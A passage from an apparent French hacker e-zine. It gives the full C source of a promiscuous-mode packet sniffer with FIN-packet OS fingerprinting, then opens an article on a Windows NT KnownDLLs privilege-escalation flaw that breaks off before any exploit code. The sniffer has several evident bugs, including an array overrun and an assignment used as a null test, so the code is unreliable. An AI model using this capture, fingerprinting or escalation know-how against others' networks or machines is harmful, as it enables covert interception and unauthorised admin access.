             if((atoi(flag[3]))==1) printf(" P"); // si flag PSH=1 alors on affiche "P"
             if((atoi(flag[4]))==1) printf(" A"); // si flag ACK=1 alors on affiche "A"
             if((atoi(flag[5]))==1) printf(" U"); // si flag URG=1 alors on affiche "U"
             printf(" win %d %d>%d(%i)", ntohs(tcp->window), ntohl(tcp->seq), ntohl(tcp->seq)+datal, datal);

// si l'utilisateur a demand la capture de paquets ICMP ou de tout type de paquet
        } else if (((atoi(proto)) ==1)&&(protos==1 || protos==0)) {
             stype = icmp->type; // on stock icmp->type dans l'int stype
             ftype = icmp_type(stype); // puis on identifie le champ type de l'header ICMP

// affichage interface simple
             printf("%i.%d.1(icmp) %u.%u.%u.%u > %u.%u.%u.%u icmp(%d): %s",
                            i, ip->version, s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3], stype, ftype);

// si l'utilisateur a demand la capture de paquets UDP ou de tout type de paquet
        } else if (((atoi(proto)) ==17)&&(protos==17 || protos==0)) {
             datal = size - 2 - (sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
             if (datal<0) datal = 0;
// affichage interface simple
             printf("%i.%d.17(udp) %u.%u.%u.%u:%d > %u.%u.%u.%u:%d udp(%i) %d:%d",
                           i, ip->version, s[0],s[1],s[2],s[3], ntohs(udp->source),
                           d[0],d[1],d[2],d[3], ntohs(udp->dest), datal, ntohs(udp->len), udp-> check);

// Si le protocole est diffrent d'ICMP, TCP ou UDP, alors on effectue un affichage limit
       } else if ((atoi(proto))==protos || protos==0) {
             // affichage du numro de la trame, de la version d'IP, du numro du protocole, de son nom, de l'adresse source et de l'adresse destination.
             printf("%i.%d.%i(%s) %u.%u.%u.%u > %u.%u.%u.%u", i, ip->version, ip->protocol, getprotobynumber(ip->protocol), s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3]);

      }
   }
    printf("\n");
    } else {
// Sinon en cas d'OS Fingerprinting on affiche adresse source, adresse destination, le flag syn, fin, rst et ack
        printf("%u.%u.%u.%u > %u.%u.%u.%u > %d %d %d", s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3], tcp->syn, tcp->fin, tcp->rst, tcp->ack);
        sprintf(ios, "%d", tcp->rst); // notre ptr ios pointe sur l'adresse tcp->rst
        if((atoi(ios))==1){ // si le flag RST tait sur 1 alors on affiche les statistiques
         printf("Systme distant probable: WINDOWS, BSDI, CISCO, HP/UX, MVS, IRIX\n");
        }
    }
    }
// Nombre de paquets sniffs
    printf("Nombre de paquets sniffs: %d\n", i);
  }

------8<---------------------------------------------------------------------





[ icmp_type ]

Cette fonction va nous servir  identifier le champ type de l'header icmp en
donnant une courte description. (pour un tableau exhaustif des diffrents types
icmp, rfrez-vous  mon article sur le smurfing icmp).

Cette fonction prend un argument de type int (icmp->type) et renvoit un pointeur
sur la description donne.


------8<---------------------------------------------------------------------

  char *icmp_type(int type){
  char *rtype;
  switch (type){ // on switch le type
// puis selon la valeur de l'int type, on affiche la description correspondante
     case 0:
       rtype = "echo reply";
     break;
     case 3:
       rtype = "unreachable host";
     break;
     case 4:
       rtype = "Source quench";
     break;
     case 5:
       rtype = "Redirection";
     break;
     case 6:
       rtype = "Alternative host adress";
     break;
     case 8:
       rtype = "Echo request";
     break;
     case 9:
       rtype = "Router advertissement";
     break;
     case 10:
       rtype = "Router solicitation";
     break;
     case 11:
       rtype = "Time exceded";
     break;
     case 12:
       rtype = "Parameter problem";
     break;
     case 13:
       rtype = "Timestamp request";
     break;
     case 14:
       rtype = "TImestamp reply";
     break;
     case 15:
       rtype = "Information request";
     break;
     case 16:
       rtype = "Information reply";
     break;
     case 17:
       rtype = "Adress mask request";
     break;
     case 18:
       rtype = "Adress mask reply";
     break;
     case 30:
       rtype = "Traceroute";
     break;
     case 31:
       rtype = "Conversion error";
     break;
     case 32:
       rtype = "Dynamic redirection";
     break;
     case 35:
       rtype = "Mobile registration request";
     break;
     case 36:
       rtype = "Mobile registration reply";
     break;
     case 39:
       rtype = "SADP";
     break;
     case 40:
       rtype = "Photuris";
     break;
   }
   return rtype; // on renvoit un pointeur sur le type
  }

------8<---------------------------------------------------------------------




[ getaddr ]

Cette fonction ne prend qu'un seul argument de type char reprsentant le nom de
la machine, et permet de vrifier la prsence de cet hte sur le rseaux. Elle
retourne l'adresse rseau de ce dernier au format u_long.

------8<---------------------------------------------------------------------

unsigned long getaddr(char *sname){
struct hostent * hip; // notre structure hostent (voir issue prcdente)
hip = gethostbyname(sname); // prsence de l'hte
if (!hip){
    perror("Adresse invalide"); // en c
    exit(1);
   }
return *(unsigned long *)hip -> h_addr; // pointeur sur l'adresse au format
                                         // rseau de la structure hostent
}

------8<---------------------------------------------------------------------







        3. Point d'entre :
        ___________________


Pour finir, la fonction principale qui rcupre l'interface rseau passe en
argument, l'interface  utiliser, le(s) protocole(s)  sniffer, la quelconque
cible  la prise d'empreinte de pile, le protocole  identifier ou encore les
headers  afficher !

J'ai galement ajout la possiblit d'afficher les aliases/nom/numro de chaque
protocole pour permettre une interactivit plus facile avec les diffrentes options
du sniffer.

Il faut savoir qu' chaque protocole correspond un numro comme vous auriez pu
le voir plus haut. Ils sont  employs pour la communication sur le rseau.
La bibliothque C met  notre disposition deux fonctions potentielles permettant
de rcuprer le protocole.

Tout d'abord la fonction getprotobyname() dfinissant ledit protocole par le
biais d'une chaine string reprsentant son nom et enfin gethostbynumber() indiquant
cette fois-ci le protocole en lui faisant correspondre un integer (voir le tableau
ci-dessus). Ces fonctions sont dclars dans l'header <netdb.h> :

struct protoent * getprotobyname(cont chat * nom);
struct protoent * getprotobynumber(int numero);



Il faut savoir que la structure protoent contient les membres suivants :

p_proto:   type int, numro officiel du protocole (fourni dans l'odre des octets de la machine).
p_name:    type char *, nom officiel du protocole.
p_aliases: type char **, table de chaines de caractres correspondant  d'ventuels alias,
                         termine par un pointeur NULL.



L'ensemble des protocoles supports par le systme courant est affich via
l'appel des fonctions setprotoent(), getprotoent(), endprotoent(). La premire
ouvre le fichier, le seconde lis l'enregistrement et la dernire ferme le fichier.

Ne pas oublier de dfinir l'argument seprotoent() nul, dans le cas contraire le
fichier ne sera pas referm par endprotoent() :


void             setprotoent(int ouvert);
sruct protoent * getprotoent(void);
void             endprotoent(void);



Aprs avoir dclar l'header netdb et notre point d'entre, nous dfinirons une
fonction permettant l'affichage de tous les protocoles prsents sur la machine.
Tout ceci via le tripl des fonctions dcrites ci-dessus:


------8<---------------------------------------------------------------------

  for(i=0;i<argc;i++)
    {
      if(argv[i][0]=='-')
	{
// Si la syntaxe de l'argument i est correcte alors continuer
	  setprotoent(0);
// Ouverture du fichier contenant les protocoles tournant sur la machine
	  while((protocole=getprotoent())!=NULL)
	  {
// Boucle lisant chaque ligne du fichier
		fprintf(stdout, "%s", protocole->p_name);
// Afficher le nom de chaque protocole
		endprotoent();
// Fermet le fichier, cette ligne est indispensable
		fprintf(stdout, "\n");
	  }
	}

------8<---------------------------------------------------------------------


Il s'agit dsormais d'afficher les caractristiques d'un protocole (alias, numro,
nom), via son nom ou son numro d'identification (contenu dans etc/protocols). Notre
programme devra alors tre capable d'analyser le type d'arg (int ou char) et d'afficher
le rsultat correspondant.

------8<---------------------------------------------------------------------

      if(sscanf(argv[i],"%d",&numero)==1)
// Si l'argument i est un integer
	  protocole=getprotobynumber(numero);
// On cherche le protocole par son numro
        else
	  protocole=getprotobyname(argv[i]);
// Sinon on s'empare du protocole via son nom
      fprintf(stdout,"%s :",argv[i]);
      if(protocole=NULL)
	{
	  fprintf(stdout,"inconnu\n");
// En cas d'erreur, on continue
	  continue;
	}
      fprintf(stdout, "%s ( ",protocole->p_name);
// On affiche alors le nom du protocole
      for(j=0;protocole->p_aliases[j]!=NULL;j++)
	fprintf(stdout, "% s",protocole->p_aliases[j]);
// On affiche les aliases du protocoles
      fprintf(stdout, ") numro = %d \n", protocole->p_proto);
// Enfin, le numro du protocole
    }
  return (0);
}

------8<---------------------------------------------------------------------


Et le voici notre fameux point d'entre !


------8<---------------------------------------------------------------------

  int main(int argc, char **argv)
  {
// dclaration des variables
    int sockfd;
    int proto=0, x=0, e=0, sinter=0, fip=0, sdat=0, i, j, numero;
    char *name, *pp, *source, *cible;
    unsigned long ssource, scible;
    struct protoent * protocole;
// si le nombre d'arguments entr est insuffisant  lsniff on affiche une aide et on quitte
  if (argc < 3)
    {
      printf("                               Ssniff - Li0n7                   \n\n");
      printf("                    .: Presentation des arguments :.             \n\n");
      printf("         -i<inter>: interface carte reseau                        \n");
      printf("         -p<proto>: type de paquets a intercepter (0 pour tout type de protocole, protos par numeros)\n");
      printf("         -e: afficher ethernet header              \n");
      printf("         -t: afficher ip header                         \n");
      printf("         -d: afficher donnees                          \n");
      printf("         -x: tout afficher (ethernet header, ip header, $proto header, donnees)          \n");
      printf("         -s: interface simple                  \n");
      printf("         -o<adresse cible> <adresse source>: OS fingerprinting                         \n");
      printf("         -z<proto>: description et numro du protocole (nom ou numro)          \n\n");
      exit(0);
   } else {
// sinon on rcupre nos arguments
           while((argc>1)&&(argv[1][0]=='-'))
                    {
                switch(argv[1][1])
                        {
                         case 'i':
	               name = &argv[1][2]; // nom de l'interface
	               break;
                         case 'p':
                           proto = atoi(&argv[1][2]); // protocole  sniffer
	               break;
                         case 'e':
                            e = 1; // sniffer ethernet header
                          break;
                         case 's':
                            sinter = 1; // affichage de tous les champs du paquet
                          break;
                         case 't':
                            fip = 1; // sniffer ip header
                          break;
                         case 'd':
                            sdat = 1; // sniffer data header
                          break;
                         case 'x': // interface complexe
                           e = 1;
                           sinter = 1;
                           fip = 1;
                           sdat = 1;
                          break;
                         case 'z':
                            pp = &argv[1][2]; // rcupration du nom ou numro du protocole
                            if(sscanf(pp,"%d", & numero) == 1)
	                      protocole = getprotobynumber(numero); // identification du protocole via son numro
                           else
        	                      protocole  = getprotobyname(pp); // identification du protocole via son nom
                           fprintf(stdout,"%s :", pp);
                            if(protocole == NULL)
	               {
	                     fprintf(stdout,"inconnu\n"); // si le protocole est inconnue, on continue
	                     continue;
	               }
                           fprintf(stdout, "%s ( ",protocole->p_name); // affiche nom du protocole
                           for(j=0;protocole->p_aliases[j] != NULL;j++)
                                  fprintf(stdout, "% s", protocole->p_aliases[j]); // affiche tous ses alias
                           fprintf(stdout, ") numro = %d \n", protocole->p_proto); // affiche numro du protocole
                           return -1;
                         break;
                        case 'o':
                          cible = &argv[1][2]; // cible os_fingerp
                          source = &argv[2][0]; // adresse source (la notre)
                          scible = getaddr(cible); // rsolution de l'adresse cible
                          ssource = getaddr(source); // rsolution de notre adresse
                          os_fingerp(ssource, scible); // on lance l'os fingerprinting
                       }
                  --argc;
                 ++argv;
                }
      }
    if((sockfd = ouvre_interface(name))<0){ // ouverture de l'interface
      fprintf(stderr, "Erreur lors de l'ouverture de l'interface\n");
      return -1;
    }

    if(read_loop(sockfd, proto, e, sinter, fip, sdat, 0) < 0){ // lecture en boucles des paquets
     fprintf(stderr, "Erreur lors de la lecture des paquets\n");
      return -1;
    }
    return 0;
  }


------8<---------------------------------------------------------------------













    III. Code Source :
    __________________



------------8<-----------------------------------------------------------------------

/******************************************/
/*             lsniff By Li0n7            */
/*    contactez-moi: Li0n7@voila.fr */
/*                L7L.FR.ST               */
/*      SNIFFER ETHER/IP/TCP/UDP/ICMP     */
/* Copyright Li0n7 - Tous droits rservs */
/******************************************/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <net/ethernet.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/sockios.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/udp.h>

#include <linux/if.h>
#include <arpa/inet.h>
#include <linux/socket.h>

#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>

#define SEQ 0x28376839

struct pseudohdr {
       unsigned long saddr;
       unsigned long daddr;
       char useless;
       unsigned char protocol;
       unsigned short length;
}pseudo;

struct ether_header *hdr;
struct iphdr *ip;
struct tcphdr *tcp;
struct icmphdr *icmp;
struct udphdr *udp;
struct sockaddr_in rhost;
struct hostent    *source;
struct hostent    *cible;
struct recvpaquet
{
    struct ethhdr eth;
    struct iphdr  ip;
    struct tcphdr tcp;
    struct icmphdr icmp;
    struct udphdr udp;
    char data[8000];
} buffer;
int size;

int ouvre_interface(char *name)
{
  struct sockaddr addr;
  struct ifreq ifr;
  int sockfd;
  sockfd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));
  if(sockfd<0)
  return -1;
  memset(&addr, 0, sizeof(addr));
  addr.sa_family=AF_INET;
  strncpy(addr.sa_data, name, sizeof(addr.sa_data));
  if(bind(sockfd, &addr, sizeof(addr)) !=0 ){
    close(sockfd);
    return -1;
  }
  memset(&ifr,0,sizeof(ifr));
  strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
  if(ioctl(sockfd, SIOCGIFHWADDR, &ifr)<0){
    close(sockfd);
    return -1;
  }
  if(ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER)
  {
    close(sockfd);
    return -1;
  }
  memset(&ifr,0,sizeof(ifr));
  strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
  if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) <0)
  {
    close(sockfd);
    return -1;
  }
  ifr.ifr_flags |= IFF_PROMISC;
  if(ioctl(sockfd, SIOCSIFFLAGS, &ifr) < 0) {
    close(sockfd);
    return -1;
  }
  return sockfd;
}

unsigned short in_cksum(unsigned short *addr, int len)
{
register int sum = 0;
u_short answer = 0;
register u_short *w = addr;
register int nleft = len;

while (nleft > 1)
   {
   sum += *w++;
   nleft -= 2;
   }
  if (nleft == 1)
     {
     *(u_char *) (&answer) = *(u_char *) w;
     sum += answer;
     }
   sum = (sum >> 16) + (sum & 0xffff);
   sum += (sum >> 16);
   answer = ~sum;
return (answer);
}

int os_fingerp(unsigned long ssource, unsigned long scible)
{
  char *paquet, *fip, *packet, *buffer;
  int sock;
        packet  = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr));
        buffer  = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr));
        ip = (struct iphdr *) packet;
        tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));

        ip->ihl     = 5;
        ip->version = 4;
        ip->tos     = 0;
        ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
        ip->id      = (random());
        ip->ttl      = 255;
        ip->protocol = IPPROTO_TCP;
        ip->saddr    = ssource;
        ip->daddr    = scible;

        pseudo.saddr = ip->saddr;
        pseudo.daddr = ip->daddr;
        pseudo.useless  = htons(0);
        pseudo.protocol = IPPROTO_TCP;
        pseudo.length   = sizeof(struct tcphdr);

        tcp->source  = htons(5000);
        tcp->dest    = htons(80);
        tcp->seq     = htonl(SEQ);
        tcp->ack_seq = htonl(0);
        tcp->doff=sizeof(tcp)/4;
        tcp->res1=0;
        tcp->fin     = 1;
        tcp->syn     = 0;
        tcp->rst     = 0;
        tcp->psh     = 0;
        tcp->ack     = 0;
        tcp->urg     = 0;
        tcp->window  = htons(65535);
        tcp->urg_ptr = htons(0);

        tcp->check   = in_cksum((unsigned short *)&pseudo,sizeof(struct tcphdr) + sizeof(struct pseudohdr)) ;
        ip->check    = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

      if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
	  perror("Erreur lors de la creation du socket");
              return -1;
	} else {
              rhost.sin_family = AF_INET;
              rhost.sin_port = tcp->dest;
              rhost.sin_addr.s_addr = ip->daddr;
              if((sendto(sock,packet,ip->tot_len,0,(struct sockaddr *)&rhost, sizeof(struct sockaddr)))<0){
	         perror("Erreur lors de l'envoie du paquet FIN");
	 }else{
	         printf("Paquet FIN envoye sur port: %d!\n", ntohs(tcp->dest));
                      size = read(sock, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet));
                      read_loop(sock, 0, 0, 0, 0, 0, 1);
	 }
    }
close(sock);
printf("\n>-=+=+=+=+=+=- Statistiques -=+=+=+=+=+=-<\n\n");
      return 0;
      }

unsigned long getaddr(char *sname){
struct hostent * hip;
hip = gethostbyname(sname);
if (!hip){
    perror("Adresse invalide");
    exit(1);
   }
return *(unsigned long *)hip -> h_addr;
}

  char *icmp_type(int type){
  char *rtype;
  switch (type){
     case 0:
       rtype = "echo reply";
     break;
     case 3:
       rtype = "unreachable host";
     break;
     case 4:
       rtype = "Source quench";
     break;
     case 5:
       rtype = "Redirection";
     break;
     case 6:
       rtype = "Alternative host adress";
     break;
     case 8:
       rtype = "Echo request";
     break;
     case 9:
       rtype = "Router advertissement";
     break;
     case 10:
       rtype = "Router solicitation";
     break;
     case 11:
       rtype = "Time exceded";
     break;
     case 12:
       rtype = "Parameter problem";
     break;
     case 13:
       rtype = "Timestamp request";
     break;
     case 14:
       rtype = "TImestamp reply";
     break;
     case 15:
       rtype = "Information request";
     break;
     case 16:
       rtype = "Information reply";
     break;
     case 17:
       rtype = "Adress mask request";
     break;
     case 18:
       rtype = "Adress mask reply";
     break;
     case 30:
       rtype = "Traceroute";
     break;
     case 31:
       rtype = "Conversion error";
     break;
     case 32:
       rtype = "Dynamic redirection";
     break;
     case 35:
       rtype = "Mobile registration request";
     break;
     case 36:
       rtype = "Mobile registration reply";
     break;
     case 39:
       rtype = "SADP";
     break;
     case 40:
       rtype = "Photuris";
     break;
   }
   return rtype;
  }

  int read_loop(int sockfd, int protos, int x, int sinter, int sip, int sdat, int os)
  {
    struct hostent *hote;
    char buf[1792], *donnees, *proto, *flag[5], *itype, *ios;
    int fromlen, c, i=0, j, datal, stype;
    struct protoent * protocole;
    unsigned char *s, *d, *ftype;

   ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2);
   tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2);
   icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2);
   udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2);
   proto = (char *)malloc(1024);
   for (j=0; j <= 5; j++){
       flag[j] = (char *)malloc(1024);
   }
   itype = (char *)malloc(1024);
   ios = (char *) malloc(1024);
   s = (unsigned char *)&(ip->saddr);
   d = (unsigned char *)&(ip->daddr);

    while(1){
      i++;
      size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet));
      if(size<0)
	return -1;
      if (size < sizeof(struct ether_header))
	continue;
      if (os == 0){
      sprintf(proto, "%d", ip->protocol);
      sprintf(flag[0], "%d", tcp->fin);
      sprintf(flag[1], "%d", tcp->syn);
      sprintf(flag[2], "%d", tcp->rst);
      sprintf(flag[3], "%d", tcp->psh);
      sprintf(flag[4], "%d", tcp->ack);
      sprintf(flag[5], "%d", tcp->urg);
      if(sinter==1){
         printf("---------->>> Trame rseau numro: %i\n", i);
         hdr=(struct ether_header *)buf;
        if(x==1){
             printf("--[ETHERNET HEADER]\n");
             printf("Host source ethernet: ");
             for(c=0; c < ETH_ALEN; c++)
     	            printf("%s%02x",c==0 ? "" : ":", hdr->ether_shost[c]);
             printf("\nHost distant ethernet: ");
             for(c=0; c < ETH_ALEN; c++)
                         printf("%s%02x",c==0 ? "" : ":", hdr->ether_dhost[c]);
             printf("\nType: %i\n",hdr->ether_type);
            }
         if (sip==1){
             printf("--[IP HEADER]\nAdresse IP source: %u.%u.%u.%u\nAdresse IP destination: %u.%u.%u.%u\n", s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3]);
             printf("IHL: %d, VERSION: %d, TOS: %d, TOT_LEN: %d, ID: %d, TTL: %d, PROTOCOLE: %d\n", ip->ihl, ip->version, ip->tos, ip->tot_len, ip->id, ip->ttl, ip->protocol);
         }
         if(((atoi(proto))==6)&&(protos==6 || protos==0)){
             printf("--[TCP HEADER]\nPort source: %d\nPort destination: %d\n", ntohs(tcp->source), ntohs(tcp->dest));
             printf("SEQ: %d, ACK_SEQ: %d, D_OFF: %d, RES1: %d, FIN: %d, SYN: %d, RST: %d\n", ntohl(tcp->seq), ntohl(tcp->ack_seq),
             tcp->doff, tcp->res1, tcp->fin, tcp->syn, tcp->rst);
             printf("PSH: %d, ACK: %d, URG: %d, WINDOW: %d, URG_PTR: %d\n", tcp->psh, tcp->ack, tcp->urg, ntohs(tcp->window), ntohs(tcp->urg_ptr));
             datal = size - 2 - (sizeof(struct tcphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
             donnees = (char *)(((unsigned long)buffer.data)-2);
             if(sdat==1){
                  printf("--[DONNES]\n");
                  for(j=0; j <= datal; j++)
                         printf("%c", donnees[j]);
            }
          } else if (((atoi(proto)) ==1)&&(protos==1 || protos==0)) {
             printf("--[ICMP HEADER]\nType: %d\nCode: %d\n", icmp->type, icmp->code);
             printf("echo.id: %d\nEcho.seq: %d\nChecksum: %d\n", icmp->un.echo.id, icmp->un.echo.sequence, icmp->checksum);
          } else if (((atoi(proto)) ==17)&&(protos==17 || protos==0)){
             printf("--[UDP HEADER]\nPort source: %d\nPort destination: %d\n", ntohs(udp->source), ntohs(udp->dest));
             printf("Len: %d\nChecksum: %d\n", ntohs(udp->len), udp->check);
             donnees = (char *)(((unsigned long)buffer.data)-2);
             datal = size - 2 - (sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
             if(sdat==1){
                  printf("--[DONNEES]\n");
                  for(j=0; j <= datal; j++)
                        printf("%c", donnees[j]);
             }
          }
     } else {
         if(((atoi(proto))==6)&&(protos==6 || protos==0)){
             datal = size - 2 - (sizeof(struct tcphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
             if(datal < 0) datal = 0;
             printf("%i.%d.6(tcp) %u.%u.%u.%u:%d > %u.%u.%u.%u:%d",
                                   i, ip->version, s[0],s[1],s[2],s[3], ntohs(tcp->source), d[0],d[1],d[2],d[3], ntohs(tcp->dest));
             if((atoi(flag[0]))==1) printf(" F");
             if((atoi(flag[1]))==1) printf(" S");
             if((atoi(flag[2]))==1) printf(" R");
             if((atoi(flag[3]))==1) printf(" P");
             if((atoi(flag[4]))==1) printf(" A");
             if((atoi(flag[5]))==1) printf(" U");
             printf(" win %d %d>%d(%i)", ntohs(tcp->window), ntohl(tcp->seq), ntohl(tcp->seq)+datal, datal);
        } else if (((atoi(proto)) ==1)&&(protos==1 || protos==0)) {
             stype = icmp->type;
             ftype = icmp_type(stype);
             printf("%i.%d.1(icmp) %u.%u.%u.%u > %u.%u.%u.%u icmp(%d): %s",
                           i, ip->version, s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3], stype, ftype);
        } else if (((atoi(proto)) ==17)&&(protos==17 || protos==0)) {
             datal = size - 2 - (sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
             if (datal<0) datal = 0;
             printf("%i.%d.17(udp) %u.%u.%u.%u:%d > %u.%u.%u.%u:%d udp(%i) %d:%d",
                              i, ip->version, s[0],s[1],s[2],s[3], ntohs(udp->source), d[0],d[1],d[2],d[3],
                              ntohs(udp->dest), datal, ntohs(udp->len), udp-> check);
       } else if ((atoi(proto))==protos || protos==0) {
             printf("%i.%d.%i(%s) %u.%u.%u.%u > %u.%u.%u.%u",
                                i, ip->version, ip->protocol, getprotobynumber(ip->protocol),
                                s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3]);
      }
   }
    printf("\n");
    } else {
        printf("%u.%u.%u.%u > %u.%u.%u.%u > %d %d %d",
                   s[0],s[1],s[2],s[3], d[0],d[1],d[2],d[3], tcp->syn, tcp->fin, tcp->rst, tcp->ack);
        sprintf(ios, "%d", tcp->rst);
        if((atoi(ios))==1){
         printf("Systme distant probable: WINDOWS, BSDI, CISCO, HP/UX, MVS, IRIX\n");
        }
    }
    }
    printf("Nombre de paquets sniffs: %d\n", c);
  }

  int main(int argc, char **argv)
  {
    int sockfd;
    int proto=0, x=0, e=0, sinter=0, fip=0, sdat=0, i, j, numero;
    char *name, *pp, *source, *cible;
    unsigned long ssource, scible;
    struct protoent * protocole;
  if (argc < 3)
    {
      printf("                               Ssniff - Li0n7                   \n\n");
      printf("                    .: Presentation des arguments :.             \n\n");
      printf("         -i<inter>: interface carte reseau                        \n");
      printf("         -p<proto>: type de paquets a intercepter (0 pour tout type de protocole, protos par numeros)\n");
      printf("         -e: afficher ethernet header              \n");
      printf("         -t: afficher ip header                         \n");
      printf("         -d: afficher donnees                          \n");
      printf("         -x: tout afficher (ethernet header, ip header, $proto header, donnees)          \n");
      printf("         -s: interface simple                  \n");
      printf("         -o<adresse cible> <adresse source>: OS fingerprinting                         \n");
      printf("         -z<proto>: description et numro du protocole (nom ou numro)          \n\n");
      exit(0);
   } else {
           while((argc>1)&&(argv[1][0]=='-'))
                    {
                switch(argv[1][1])
                        {
                         case 'i':
	               name = &argv[1][2];
	               break;
                         case 'p':
                           proto = atoi(&argv[1][2]);
	               break;
                         case 'e':
                            e = 1;
                          break;
                         case 's':
                            sinter = 1;
                          break;
                         case 't':
                            fip = 1;
                          break;
                         case 'd':
                            sdat = 1;
                          break;
                         case 'x':
                           e = 1;
                           sinter = 1;
                           fip = 1;
                           sdat = 1;
                          break;
                         case 'z':
                            pp = &argv[1][2];
                            if(sscanf(pp,"%d", & numero) == 1)
	                      protocole = getprotobynumber(numero);
                           else
        	                      protocole  = getprotobyname(pp);
                           fprintf(stdout,"%s :", pp);
                            if(protocole == NULL)
	               {
	                     fprintf(stdout,"inconnu\n");
	                     continue;
	               }
                           fprintf(stdout, "%s ( ",protocole->p_name);
                           for(j=0;protocole->p_aliases[j] != NULL;j++)
                                  fprintf(stdout, "% s", protocole->p_aliases[j]);
                           fprintf(stdout, ") numro = %d \n", protocole->p_proto);
                           return -1;
                         break;
                        case 'o':
                          cible = &argv[1][2];
                          source = &argv[2][0];
                          scible = getaddr(cible);
                          ssource = getaddr(source);
                          os_fingerp(ssource, scible);
                       }
                  --argc;
                 ++argv;
                }
      }
    if((sockfd = ouvre_interface(name))<0){
      fprintf(stderr, "Erreur lors de l'ouverture de l'interface\n");
      return -1;
    }

    if(read_loop(sockfd, proto, e, sinter, fip, sdat, 0) < 0){
     fprintf(stderr, "Erreur lors de la lecture des paquets\n");
      return -1;
    }
    return 0;
  }

------------8<-----------------------------------------------------------------------




[ Conclusion ]

Voila tout, vous pouvez modifier ce programme  votre guise, ds l'instant
que le nom du concepteur initial figure dans les sources. Ce sniffer est encore
basique, une utilisation plus pousse de l'OS fingerprinting sera probablement
ultrieurement implmente avec peut tre quelques fonctions de scanning avances
(half-scan, xmas scanning, SYN fin, NULL scanning). Restons-en ici pour le moment,
l'interfafe a t beaucoup travaille, le programme est lui mme intuitif. Mais il
n'est pas dnu de dfaut, loin de l. Il ne capture pas les paquets envoys avec
comme IP source et destination localhost@localhost. Une fonction intrssante serait
d'enregistrer toutes les sorties de lsniff dans un fichier pour visualisation ultrieure.
Et gardez en tte que c'est en programmant par plaisir que vous repousserez vos limites
dans des retranchements insoupsons.


Enfin, pour compiler :
$ gcc -o protos protos.c

Help? Commentaires? Insultes? -> Li0n7@voila.fr

Li0n7




















---------------------------------------------------------------------------------------
V.                       Something about WinNT                               Viperone
---------------------------------------------------------------------------------------


                  +++++++++++++++++++++++++++++++++++
                  ++++ Fichier Joint : winnt.zip ++++
                  +++++++++++++++++++++++++++++++++++



[ Introducion ]

Ceci est mon premier article pour  IOC Magazine. Jespre quil vous plaira.
Je vais vous apprendre comment exploiter une faille dans Windows NT qui nous
permettra de devenir administrateur sur le rseau ou la machine simple. Je
croit que je nai pas besoin de demander pourquoi devenir root ...




    I. Prliminaires :
    __________________


Tout dabord, voici la liste des systmes NT affects par la faille.

	Workstation 3.5, 3.51, 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4
	Server 3.5, 3.51, 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4
	Server 4.0, 4.0 SP4 , Enterprise Edition
	Server 4.0, Terminal Server Edition


Cet exploit peut tre effectu  partir dun compte invit et tout autres
comptes (il faut avoir accs  la base de registre).




    II. Principe :
    ______________


Windows NT met en oeuvre un systme de mmoire cache dans lequel il charge
des librairies dynamiques (DLL) particulirement importantes et surtout trs
frquemment utilises. Elles sont alors partages entre tous les programmes.
Cela vite des copies rptitives en mmoire de ces DLL, amliorant ainsi
l'utilisation de la mmoire et les performances du systme.  partir du
moment o une de ces DLL a t place dans le cache, elle n'est plus jamais
recharge depuis un fichier sur le disque (du moins tant et aussi longtemps
que Windows nest pas quitt). Le chargement de ces DLL est effectu au
dmarrage de Windows (avant ouverture d'une session),  partir d'une liste
contenue dans la clef   KnowDLLs


Voici le lien dans la base de registre  (Voir image1.gif) :
HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerKnownDLLs



On y retrouve une vingtaine de DLL, dont "kernel32.dll", "user32.dll",
"url.dll", "version.dll"... Ce systme est (tait?) cens accrotre la
scurit, puisque le remplacement sur disque d'une de ces DLL par une
autre (de mme nom mais modifie) st totalement vain. En effet, prenons
l'exemple de "comdlg32.dll", qui sert  afficher les boites de dialogue
standard. Si au cours d'une session on dcide de remplacer cette librairie
par une autre version, (en admettant qu'il n'y ait  cet instant aucune
application y faisant appel), cette opration sera inoprante, puisque
Windows continuera  utiliser la version initiale de comdlg32, place
dans le cache.

Donc, il est tout  fait possible  un utilisateur n'ayant aucun privilge
de vider, modifier, ajouter un objet, en particulier une librairie systme
comme "kernel32.dll".  A l'aide de cette librairie modifie, il va tre
possible deffectuer nimporte quelle opration par la suite.




    II. Exploitation :
    __________________


L'ide de base mise en oeuvre par L0ph Heavy Industries pour mettre en
vidence ce dfaut a t la suivante :


        1-  Cration d'une DLL "kernel32.dll" modifie, diffrent
